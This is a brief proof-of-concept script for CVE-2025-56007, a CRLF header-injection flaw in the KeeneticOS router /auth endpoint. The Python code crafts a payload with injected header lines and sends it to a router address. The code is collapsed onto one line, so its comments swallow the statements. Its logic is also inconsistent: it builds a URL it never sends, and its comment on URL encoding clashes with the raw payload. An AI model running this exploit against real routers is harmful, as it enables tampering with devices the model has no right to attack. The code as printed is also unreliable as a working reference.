CVE-2025-56007 KeeneticOS /auth API CRLF注入漏洞

import requests # CVE-2025-56007 PoC - CRLF Injection in KeeneticOS /auth endpoint # This PoC demonstrates how an attacker can inject additional HTTP headers # by exploiting the CRLF injection vulnerability target = "http://192.168.1.1" auth_endpoint = f"{target}/auth" # CRLF injection payload - injects additional headers after the newline characters # The %0d%0a is URL-encoded \r\n (CRLF) injection_payload = "test\r\nX-Injected-Header: malicious\r\nX-Injected-Header2: pwned" # Malicious URL that will be sent when victim visits the page malicious_url = f"{auth_endpoint}?param={injection_payload}" print(f"[*] Target: {target}") print(f"[*] Auth Endpoint: {auth_endpoint}") print(f"[*] Crafted Payload: {injection_payload}") print(f"[*] Malicious URL: {malicious_url}") # Simulate the attack request try: headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', # The payload is injected via the Authorization header 'Authorization': f'Basic {injection_payload}', } response = requests.get(auth_endpoint, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")